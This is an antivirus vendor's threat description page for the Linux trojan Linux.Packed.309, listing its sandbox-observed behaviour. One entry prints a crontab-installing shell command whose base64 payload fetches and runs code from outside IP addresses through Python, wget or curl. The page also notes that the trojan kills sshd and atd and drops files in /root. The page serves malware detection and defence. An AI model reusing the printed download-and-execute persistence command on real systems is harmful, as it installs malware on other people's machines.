Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Packed.309

Added to the Dr.Web virus database: 2019-02-16

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • lrle
  • scwg
  • idkh
Launches processes:
  • sh -c echo '* * * * * echo -n \"KCAgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuICBwa2lsbCAtZiB3YXRjaGJvZyA7IG5vaHVwIHB5dGhvbiAtYyAnaW1wb3J0IG9zOyBob21lZGlyID1vcy5wYXRoLmV4cGFuZHVzZXIoIn4vZGxzcyIpOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwgaG9tZWRpcik7IG9zLnN5c3RlbSgiY2htb2QgNzc3NyAkSE9NRS9kbHNzIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggJEhPTUUvZGxzcyIpOyBvcy5zeXN0ZW0oIiRIT01FL2Rsc3MiKScgMj4mMSA7IHx8IG5vaHVwIHB5dGhvbjMgLWMgJ2ltcG9ydCB1cmxsaWIucmVxdWVzdDsgdXJsbGliLnJlcXVlc3QudXJscmV0cmlldmUoImh0dHA6Ly8xNjUuMjI3LjE0MC4xODQvdG1wL29mZCIsICIvdG1wL3Nkb3YiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9zZG92Iik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3RtcC9zZG92Iik7b3Muc3lzdGVtKCIvdG1wL3Nkb3YiKScgMj4mMSA7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qci5zaHxzaCA+L2Rldi9udWxsIDI+JjEgOyB8fCBjdXJsIGh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2pyLmp[rkmodule] [<SAMPLE>][PPID:0x2c4] [<SAMPLE>][PID:0x2c6] do_filp_open. Filename: \"/bin/sh\
  • crontab -
  • sh -c /root/lrle scwg
  • /root/lrle scwg
  • sh -c /root/idkh idkh
  • /root/idkh idkh
Kills system processes:
  • sshd
Kills the following processes:
  • atd
  • (sd-pam)
Performs operations with the file system:
Modifies file access rights:
  • /root/lrle
  • /root/idkh
Creates or modifies files:
  • /root/lrle
  • /root/p
  • /root/idkh
Deletes files:
  • /root/lrle
  • /root/p
Network activity:
HTTP GET requests:
  • 18#.###.169.6/jp/jpp
  • 18#.###.169.6/jp/nvn

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number